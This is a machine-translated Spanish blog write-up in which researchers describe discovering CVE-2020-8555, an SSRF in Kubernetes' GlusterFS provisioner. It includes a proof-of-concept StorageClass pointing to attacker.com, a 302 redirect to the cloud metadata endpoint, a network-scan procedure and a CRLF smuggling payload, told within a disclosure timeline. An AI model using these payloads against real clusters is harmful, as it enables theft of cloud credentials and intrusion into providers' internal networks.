Cuando no se trata solo de vulnerabilidades de Kubernetes...

Nota. traducir: los autores de este artículo hablan en detalle sobre cómo lograron descubrir la vulnerabilidad CVE-2020–8555 en Kubernetes. Aunque inicialmente no parecía muy peligroso, en combinación con otros factores su criticidad resultó ser máxima para algunos proveedores de la nube. Varias organizaciones recompensaron generosamente a los especialistas por su trabajo.

Cuando no se trata solo de vulnerabilidades de Kubernetes...

Quienes somos

Somos dos investigadores de seguridad franceses que descubrimos conjuntamente una vulnerabilidad en Kubernetes. Nuestros nombres son Brice Augras y Christophe Hauquiert, pero en muchas plataformas Bug Bounty se nos conoce como Reeverzax y Hach respectivamente:

¿Qué ha pasado?

Este artículo es nuestra forma de compartir cómo un proyecto de investigación común y corriente se convirtió inesperadamente en la aventura más emocionante en la vida de los cazadores de insectos (al menos por ahora).

Como probablemente sepas, los cazadores de errores tienen un par de características notables:

  • viven de pizza y cerveza;
  • funcionan cuando todos los demás están dormidos.

No somos una excepción a estas reglas: normalmente nos reunimos los fines de semana y pasamos las noches sin dormir pirateando. Pero una de esas noches terminó de una manera muy inusual.

Inicialmente íbamos a reunirnos para discutir la participación en CTF el día siguiente. Durante una conversación sobre la seguridad de Kubernetes en un entorno de servicios gestionados, recordamos la antigua idea de SSRF (Falsificación de solicitudes del lado del servidor) y decidió intentar usarlo como script de ataque.

A las 11 de la noche nos sentamos a hacer nuestra investigación y nos acostamos temprano en la mañana, muy satisfechos con los resultados. Fue gracias a esta investigación que nos topamos con el programa MSRC Bug Bounty y se nos ocurrió un exploit de escalada de privilegios.

Pasaron varias semanas/meses y nuestro resultado inesperado resultó en una de las recompensas más altas en la historia de Azure Cloud Bug Bounty, ¡además de la que recibimos de Kubernetes!

Basado en nuestro proyecto de investigación, el Comité de Seguridad de Productos de Kubernetes publicó CVE-2020–8555.

Ahora me gustaría difundir al máximo la información sobre la vulnerabilidad encontrada. ¡Esperamos que aprecie el hallazgo y comparta los detalles técnicos con otros miembros de la comunidad de infosec!

Así que aquí está nuestra historia...

Contexto

Para entender mejor lo que sucedió, veamos primero cómo funciona Kubernetes en un entorno administrado en la nube.

Cuando se crea una instancia de un clúster de Kubernetes en dicho entorno, la capa de administración suele ser responsabilidad del proveedor de la nube:

Cuando no se trata solo de vulnerabilidades de Kubernetes...
La capa de control está ubicada en el perímetro del proveedor de la nube, mientras que los nodos de Kubernetes están ubicados en el perímetro del cliente.

Para asignar volúmenes dinámicamente, se utiliza un mecanismo para aprovisionarlos dinámicamente desde un backend de almacenamiento externo y compararlos con PVC (reclamación de volumen persistente, es decir, una solicitud de un volumen).

Por lo tanto, después de crear el PVC y vincularlo a StorageClass en el clúster K8, el administrador del controlador de nube/kube se hace cargo de otras acciones para proporcionar el volumen (su nombre exacto depende de la versión). (Nota. traducir: Ya hemos escrito más sobre CCM usando el ejemplo de su implementación para uno de los proveedores de la nube. aquí.)

Hay varios tipos de aprovisionadores admitidos por Kubernetes: la mayoría de ellos están incluidos en núcleo orquestador, mientras que otros son administrados por aprovisionadores adicionales que se colocan en pods del clúster.

En nuestra investigación, nos centramos en el mecanismo de aprovisionamiento de volumen interno, que se ilustra a continuación:

Cuando no se trata solo de vulnerabilidades de Kubernetes...
Aprovisionamiento dinámico de volúmenes utilizando el aprovisionador de Kubernetes integrado

En resumen, cuando Kubernetes se implementa en un entorno administrado, el administrador del controlador es responsabilidad del proveedor de la nube, pero la solicitud de creación de volumen (la número 3 en el diagrama anterior) sale de la red interna del proveedor de la nube. ¡Y aquí es donde las cosas se ponen realmente interesantes!

Escenario de piratería

En esta sección, explicaremos cómo aprovechamos el flujo de trabajo mencionado anteriormente y accedemos a los recursos internos del proveedor de servicios en la nube. También le mostrará cómo puede realizar determinadas acciones, como obtener credenciales internas o escalar privilegios.

Una simple manipulación (en este caso, la falsificación de solicitudes del lado del servicio) ayudó a ir más allá del entorno del cliente a grupos de varios proveedores de servicios bajo K8 administrados.

En nuestra investigación nos centramos en el aprovisionador GlusterFS. A pesar de que la secuencia de acciones adicional se describe en este contexto, Quobyte, StorageOS y ScaleIO son susceptibles a la misma vulnerabilidad.

Cuando no se trata solo de vulnerabilidades de Kubernetes...
Abuso del mecanismo de aprovisionamiento de volumen dinámico

Durante el análisis de clase de almacenamiento GlusterFS en el código fuente del cliente Golang nosotros notadoque en la primera solicitud HTTP (3) enviada durante la creación del volumen, hasta el final de la URL personalizada en el parámetro resturl se agrega /volumes.

Decidimos deshacernos de este camino adicional agregando # en parámetro resturl. Aquí está la primera configuración YAML que utilizamos para probar una vulnerabilidad SSRF semi-ciega. (puede leer más sobre la SSRF semiciega o semiciega, por ejemplo, aquí - aprox. trad.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Luego usamos el binario para administrar de forma remota el clúster de Kubernetes. kubectl. Normalmente, los proveedores de la nube (Azure, Google, AWS, etc.) le permiten obtener credenciales para usar en esta utilidad.

Gracias a esto pude utilizar mi archivo “especial”. Kube-controller-manager ejecutó la solicitud HTTP resultante:

kubectl create -f sc-poc.yaml

Cuando no se trata solo de vulnerabilidades de Kubernetes...
La respuesta desde el punto de vista del atacante.

Poco después de esto, también pudimos recibir una respuesta HTTP del servidor de destino, a través de los comandos describe pvc o get events en kubectl. Y de hecho: este controlador predeterminado de Kubernetes es demasiado detallado en sus mensajes de advertencia/error...

A continuación se muestra un ejemplo con un enlace a https://www.google.frestablecer como parámetro resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Cuando no se trata solo de vulnerabilidades de Kubernetes...

En este enfoque, estábamos limitados a consultas como POST HTTP y no se pudo obtener el contenido del cuerpo de la respuesta si el código de retorno era 201. Por lo tanto, decidimos realizar investigaciones adicionales y ampliar este escenario de piratería con nuevos enfoques.

La evolución de nuestra investigación.

  • Escenario avanzado n.º 1: uso de una redirección 302 desde un servidor externo para cambiar el método HTTP y proporcionar una forma más flexible de recopilar datos internos.
  • Escenario avanzado n.º 2: automatizar el escaneo de LAN y el descubrimiento de recursos internos.
  • Escenario avanzado n.º 3: uso de HTTP CRLF + contrabando (“contrabando de solicitudes”) para crear solicitudes HTTP personalizadas y recuperar datos extraídos de los registros del controlador kube.

Especificaciones tecnicas

  • La investigación utilizó Azure Kubernetes Service (AKS) con la versión 1.12 de Kubernetes en la región del norte de Europa.
  • Los escenarios descritos anteriormente se ejecutaron en las últimas versiones de Kubernetes, con la excepción del tercer escenario, porque necesitaba Kubernetes construido con la versión de Golang ≤ 1.12.
  • Servidor externo del atacante - https://attacker.com.

Escenario avanzado n.º 1: redirigir una solicitud HTTP POST a GET y recibir datos confidenciales

El método original fue mejorado configurando el servidor del atacante para devolver Recodificación HTTP 302para convertir una solicitud POST en una solicitud GET (paso 4 en el diagrama):

Cuando no se trata solo de vulnerabilidades de Kubernetes...

Primera solicitud (3) proveniente del cliente GlusterFS (Controller Manager), tiene un tipo POST. Siguiendo estos pasos pudimos convertirlo en un GET:

  • como parámetro resturl en StorageClass se indica http://attacker.com/redirect.php.
  • Punto final https://attacker.com/redirect.php responde con un código de estado HTTP 302 con el siguiente encabezado de ubicación: http://169.254.169.254. Puede ser cualquier otro recurso interno; en este caso, el enlace de redireccionamiento se utiliza únicamente como ejemplo.
  • Por defecto biblioteca net/http Golang redirige la solicitud y convierte la POST en un GET con un código de estado 302, lo que genera una solicitud HTTP GET al recurso de destino.

Para leer el cuerpo de la respuesta HTTP, debe hacer describe Objeto de PVC:

kubectl describe pvc xxx

A continuación se muestra un ejemplo de una respuesta HTTP en formato JSON que pudimos recibir:

Cuando no se trata solo de vulnerabilidades de Kubernetes...

Las capacidades de la vulnerabilidad encontrada en ese momento estaban limitadas debido a los siguientes puntos:

  • Incapacidad para insertar encabezados HTTP en la solicitud saliente.
  • Incapacidad para realizar una solicitud POST con parámetros en el cuerpo (esto es conveniente para solicitar el valor de la clave desde una instancia de etcd que se ejecuta en 2379 puerto si se utiliza HTTP no cifrado).
  • Incapacidad para recuperar el contenido del cuerpo de la respuesta cuando el código de estado era 200 y la respuesta no tenía un tipo de contenido JSON.

Escenario avanzado n.º 2: escanear la red local

Este método SSRF medio ciego se utilizó luego para escanear la red interna del proveedor de la nube y sondear varios servicios de escucha (instancia de metadatos, Kubelet, etc.) en función de las respuestas. controlador kube.

Cuando no se trata solo de vulnerabilidades de Kubernetes...

Primero, se determinaron los puertos de escucha estándar de los componentes de Kubernetes (8443, 10250, 10251, etc.) y luego tuvimos que automatizar el proceso de escaneo.

Al ver que este método de escaneo de recursos es muy específico y no es compatible con los escáneres clásicos y las herramientas SSRF, decidimos crear nuestros propios trabajadores en un script bash que automatice todo el proceso.

Por ejemplo, para escanear rápidamente el rango 172.16.0.0/12 de la red interna, se lanzaron 15 trabajadores en paralelo. El rango de IP anterior se ha seleccionado solo como ejemplo y puede estar sujeto a cambios en el rango de IP de su proveedor de servicios específico.

Para escanear una dirección IP y un puerto, debe hacer lo siguiente:

  • eliminar la última StorageClass marcada;
  • eliminar el Reclamo de Volumen Persistente previamente verificado;
  • cambiar los valores de IP y Puerto en sc.yaml;
  • cree una StorageClass con una nueva IP y puerto;
  • crear un nuevo PVC;
  • extraiga los resultados del escaneo usando describe para PVC.

Escenario avanzado n.º 3: inyección CRLF + contrabando de HTTP en versiones "antiguas" del clúster de Kubernetes

Si además de esto el proveedor ofrecía a los clientes versiones antiguas del clúster K8s и les dio acceso a los registros de kube-controller-manager, el efecto se volvió aún más significativo.

De hecho, es mucho más conveniente para un atacante cambiar las solicitudes HTTP diseñadas para obtener una respuesta HTTP completa a su discreción.

Cuando no se trata solo de vulnerabilidades de Kubernetes...

Para implementar el último escenario, se debían cumplir las siguientes condiciones:

  • El usuario debe tener acceso a los registros de kube-controller-manager (como, por ejemplo, en Azure LogInsights).
  • El clúster de Kubernetes debe utilizar una versión de Golang inferior a 1.12.

Implementamos un entorno local que simulaba la comunicación entre el cliente GlusterFS Go y un servidor de destino falso (nos abstendremos de publicar la PoC por ahora).

Fue encontrado vulnerabilidad, que afecta a las versiones de Golang inferiores a 1.12 y permite a los piratas informáticos llevar a cabo ataques de contrabando HTTP/CRLF.

Combinando la SSRF medio ciega descrita anteriormente juntos con esto, pudimos enviar solicitudes a nuestro gusto, incluido el reemplazo de encabezados, método HTTP, parámetros y datos, que luego procesó kube-controller-manager.

A continuación se muestra un ejemplo de un "cebo" funcional en un parámetro. resturl StorageClass, que implementa un escenario de ataque similar:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

El resultado es un error. respuesta no solicitada, cuyo mensaje se registra en los registros del controlador. Gracias a la verbosidad habilitada de forma predeterminada, el contenido del mensaje de respuesta HTTP también se guarda allí.

Cuando no se trata solo de vulnerabilidades de Kubernetes...

Este fue nuestro "cebo" más eficaz en el marco de la prueba de concepto.

Utilizando este enfoque, pudimos llevar a cabo algunos de los siguientes ataques en clústeres de varios proveedores de k8 administrados: escalada de privilegios con credenciales en instancias de metadatos, Master DoS a través de solicitudes HTTP (no cifradas) en instancias maestras de etcd, etc.

Secuelas

En la declaración oficial de Kubernetes sobre la vulnerabilidad SSRF que descubrimos, se calificó CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Si consideramos solo la vulnerabilidad asociada con el perímetro de Kubernetes, el vector de integridad (vector de integridad) califica como Ninguna.

Sin embargo, evaluar las posibles consecuencias en el contexto de un entorno de servicios gestionados (¡y ésta fue la parte más interesante de nuestra investigación!) nos llevó a reclasificar la vulnerabilidad en una calificación. CVSS10/10 crítico para muchos distribuidores.

A continuación encontrará información adicional para ayudarle a comprender nuestras consideraciones al evaluar los posibles impactos en entornos de nube:

Integridad

  • Ejecute comandos de forma remota utilizando las credenciales internas adquiridas.
  • Reproduciendo el escenario anterior utilizando el método IDOR (Insecure Direct Object Reference) con otros recursos encontrados en la red local.

Confidencialidad

  • Tipo de ataque Movimiento lateral gracias al robo de credenciales de la nube (por ejemplo, API de metadatos).
  • Recopilación de información mediante el escaneo de la red local (determinando la versión SSH, versión del servidor HTTP, ...).
  • Recopile información de instancia e infraestructura sondeando API internas como la API de metadatos (http://169.254.169.254, ...).
  • Robar datos de clientes utilizando credenciales en la nube.

Disponibilidad

Todos los escenarios de explotación relacionados con vectores de ataque en integridad, puede usarse para acciones destructivas y provocar que las instancias maestras del perímetro del cliente (o cualquier otro) no estén disponibles.

Dado que estábamos en un entorno K8 administrado y evaluamos el impacto en la integridad, podemos imaginar muchos escenarios que podrían afectar la disponibilidad. Ejemplos adicionales incluyen dañar la base de datos etcd o realizar una llamada crítica a la API de Kubernetes.

Cronología

  • 6 de diciembre de 2019: Vulnerabilidad reportada a MSRC Bug Bounty.
  • 3 de enero de 2020: un tercero informó a los desarrolladores de Kubernetes que estábamos trabajando en un problema de seguridad. Y les pidió que consideraran la SSRF como una vulnerabilidad interna (en el núcleo). Luego proporcionamos un informe general con detalles técnicos sobre el origen del problema.
  • 15 de enero de 2020: Proporcionamos informes técnicos y generales a los desarrolladores de Kubernetes cuando lo solicitaron (a través de la plataforma HackerOne).
  • 15 de enero de 2020: los desarrolladores de Kubernetes nos notificaron que la inyección semiciega SSRF + CRLF para versiones anteriores se considera una vulnerabilidad interna. Inmediatamente dejamos de analizar los perímetros de otros proveedores de servicios: el equipo de K8s ahora estaba lidiando con la causa raíz.
  • 15 de enero de 2020: recompensa MSRC recibida a través de HackerOne.
  • 16 de enero de 2020: Kubernetes PSC (Comité de Seguridad de Productos) reconoció la vulnerabilidad y pidió mantenerla en secreto hasta mediados de marzo debido a la gran cantidad de víctimas potenciales.
  • 11 de febrero de 2020: recompensa VRP de Google recibida.
  • 4 de marzo de 2020: recompensa de Kubernetes recibida a través de HackerOne.
  • 15 de marzo de 2020: La divulgación pública originalmente programada se pospuso debido a la situación de COVID-19.
  • 1 de junio de 2020: Declaración conjunta de Kubernetes y Microsoft sobre la vulnerabilidad.

TL; DR

  • Bebemos cerveza y comemos pizza :)
  • Descubrimos una vulnerabilidad interna en Kubernetes, aunque no teníamos intención de hacerlo.
  • Realizamos análisis adicionales en grupos de diferentes proveedores de nube y pudimos aumentar el daño causado por la vulnerabilidad para recibir increíbles bonificaciones adicionales.
  • Encontrará muchos detalles técnicos en este artículo. Estaremos encantados de discutirlos contigo (Twitter: @ReeverZax & @__hach_).
  • Resultó que todo tipo de trámites e informes tardaron mucho más de lo esperado.

referencias

PD del traductor

Lea también en nuestro blog:

Fuente: habr.com

Añadir un comentario